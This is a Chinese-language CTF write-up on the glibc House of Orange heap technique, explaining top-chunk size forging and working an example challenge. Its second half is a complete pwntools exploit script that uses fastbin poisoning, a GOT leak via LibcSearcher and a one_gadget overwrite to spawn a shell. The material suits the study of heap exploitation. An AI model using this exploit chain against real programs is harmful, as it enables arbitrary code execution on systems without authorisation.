House of Orange

概述

House of Orange 的利用比较特殊,首先需要目标漏洞是堆上的漏洞但是特殊之处在于题目中不存在 free 函数或其他释放堆块的函数。我们知道一般想要利用堆漏洞,需要对堆块进行 malloc 和 free 操作,但是在 House of Orange 利用中无法使用 free 函数,因此 House of Orange 核心就是通过漏洞利用获得 free 的效果。

原理

如我们前面所述,House of Orange 的核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

我们来看一下这个过程的详细情况,我们假设目前的 top chunk 已经不满足 malloc 的分配需求。 首先我们在程序中的malloc调用会执行到 libc.so 的_int_malloc函数中,在_int_malloc函数中,会依次检验 fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求,因为尺寸问题这些都不符合。接下来_int_malloc函数会试图使用 top chunk,在这里 top chunk 也不能满足分配的要求,因此会执行如下分支。

综上,我们要实现 brk 拓展 top chunk,但是要实现这个目的需要绕过一些 libc 中的 check。 首先,malloc 的尺寸不能大于mmp_.mmap_threshold

1
if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap() 分配的内存块小于设定的最大值,将使用 mmap() 系统调用直接向操作系统申请内存。

在 sysmalloc 函数中存在对 top chunk size 的 check,如下

1
2
3
4
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

这里检查了 top chunk 的合法性,如果第一次调用本函数,top chunk 可能没有初始化,所以可能 old_size 为 0。 如果 top chunk 已经初始化了,那么 top chunk 的大小必须大于等于 MINSIZE,因为 top chunk 中包含了 fencepost,所以 top chunk 的大小必须要大于 MINSIZE。其次 top chunk 必须标识前一个 chunk 处于 inuse 状态,并且 top chunk 的结束地址必定是页对齐的。此外 top chunk 除去 fencepost 的大小必定要小于所需 chunk 的大小,否则在_int_malloc() 函数中会使用 top chunk 分割出 chunk。

我们总结一下伪造的 top chunk size 的要求

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中。

注意事项:伪造的top_chunk要页对齐,当top_chunk符合页对齐,且大小小于0x90时,当申请比top_chunk大的堆是,释放的top_chunk会进入fastbins,可以根据需求进行fastbins攻击,放入这个fastbins的chunk的大小为:top_chunk - 0x20

所以我们可能根据情况进行unsorted bin攻击或者进行fast bin攻击

例题

例题下载

查看保护 ,没有开启pie和got写入保护

查看保护

ida反编译发现没有free函数

ida反编译

想到用House of Orange

edit函数

发现编辑函数存在溢出,可以控制chunk头和chunk指针,那么我们就可以用fastbin攻击

攻击流程:

  1. 伪造top_chunk(确保页对齐)
  2. 然后申请堆空间,使top_chunk剩余0x90大小
  3. 申请大于top_chunk大小的堆空间,此时top_chunk进入fastbin
  4. 通过堆溢出,修改fastbin的fd指针,进行fastbin攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
from LibcSearcher import *
import sys
import re

filename = './pwn10'
url = ''

def extract_hostname_and_port(url):
match = re.match(r'([^:\s]+)[\s:](\d*)', url)
if match:
hostname = match.group(1)
port = match.group(2) if match.group(2) else None
return hostname, port
return None, None

hostname, port = extract_hostname_and_port(url)
debug_flag = False

if len(sys.argv) > 1:
if sys.argv[1] == 'remote':
p = remote(hostname, port)
elif sys.argv[1] == 'debug':
p = process(filename)
debug_flag = True
else:
print("Usage: python script.py [remote|debug]")
exit(1)
else:
p = process(filename)

def debug():
if debug_flag:
try:
gdbscript = '''
b * 0x0000000000400A9C
'''
gdb.attach(p, gdbscript = gdbscript)
print("GDB attached successfully")
except Exception as e:
print(f"Failed to attach GDB: {e}")

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']

elf = ELF(filename)
debug()
'''
1.ADD PAGE
2.EDIT PAGE
3.SHOW PAGE
4.EXIT
input your chioce:
'''
def add(idx , size , context) :
p.sendlineafter('input your chioce:' , b'1')
p.sendlineafter('Index :' , str(idx))
p.sendlineafter('Size :' , str(size))
p.sendlineafter('Content :' , context)

def edit(idx , size , context) :
p.sendlineafter('input your chioce:' , b'2')
p.sendlineafter('Index :' , str(idx))
p.sendlineafter('Size :' , str(size))
p.sendlineafter('Content :' , context)

def show(idx) :
p.sendlineafter('input your chioce:' , b'3')
p.sendlineafter('Index :' , str(idx))


add(0 , 0x10 , b'aaaa')
payload = 0x18 * b'a' + p64(0xfe1)
edit(0 , len(payload) , payload)
add(1 , 0xf40 , b'bbbb')
add(2 , 0x90 , b'cccc')

fake_chunk = 0x60208d
payload = b'a' * 0xf48 + p64(0x71) + p64(fake_chunk)
edit(1 , len(payload) , payload)
add(3 , 0x60 , b'aaaa')
add(4 , 0x60 , b'aaaa')
puts_got = elf.got['puts']
payload = b'a' * 0xa3 + p64(puts_got)
edit(4 , len(payload) , payload)

show(0)
p.recvuntil('\n')
leak_addr = u64(p.recv(6).ljust(8 , b'\x00'))
success(hex(leak_addr))

libc = LibcSearcher('puts' , leak_addr)
base_addr = leak_addr - libc.dump('puts')
one_gadget = [0x4525a , 0xef9f4 , 0xf0897]
execve = base_addr + one_gadget[2]

payload = p64(execve)
edit(0 , len(payload) , payload)


p.interactive()